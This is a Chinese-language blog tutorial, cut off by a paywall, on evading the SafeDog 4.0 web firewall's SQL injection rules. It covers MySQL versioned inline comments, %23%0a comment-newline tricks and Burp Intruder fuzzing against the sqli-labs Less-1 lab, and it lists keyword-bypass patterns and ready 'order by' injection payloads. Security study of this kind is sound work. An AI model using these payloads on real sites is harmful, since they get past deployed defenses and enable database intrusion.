1.前言
该文章只进行技术分享与探讨,任何人进行非法操作与作者无关。
2.前置知识
/*!*/叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。
比如版本号为5.7.26,当/*!00000xxx*/-/*!50726xxx*/里的注释内容都可以解析为sql语句执行
而>/*!50726xxx*/里的注释内容就真的被注释,失去作用。
3.绕过关键字主要思路
在关键字处使用内联注释和%23%0a(注释换行),内联注释里的版本号即使低于实际版本号有的可以绕过,有的不能绕过(可能是安全狗做了一点小过滤)
所以我们可以使用burpsuite的intruder模块检测一下哪些版本号可以绕过,这里以sqli-labs(Less-1)为例,把版本号设置为payload点

设置payload类型为numbers

然后开始重放


看到两种响应长度,就可以暂停了,有一种一定是能绕过安全狗的版本号

然后下面进行绕过的时候就使用那个能绕过的版本号
3.1绕过连体关键字思路
X代表关键字
X/*/A*/%23%0aX
X/*/A*/X
X/*/--A----/*/X
X/*!66666A*/%23%0aX
X/*!44444X*/
X/*!44444%23%0aX*/
/*!44444X/*!44444X*/
3.2绕过单个关键字思路
X代表关键字
/*!%23%0aX*/
/*!X%23%0a*/
/*!44444X*/
X与前面参数连在一起(不用空格隔开,这个也是绕过方法)
4.以sqli-labs(Less-1)为例,绕过安全狗
4.1拦截order by
1' order/*!%23%0aby*/ 3 %23
1' order/*!*/%23%0aby 3 %23
1' order/*/*/by 3%23
1' order/*//------/*/
本文详细介绍了如何通过内联注释和特殊编码绕过安全狗4.0对SQL注入的防护,以sqli-labs的Less-1为例,展示了拦截order by、union select等关键字的绕过技巧,并提供了面向安全狗4.0的Python脚本和sqli-labs无安全狗全通关的payload。
最低0.47元/天 解锁文章

754

被折叠的 条评论
为什么被折叠?



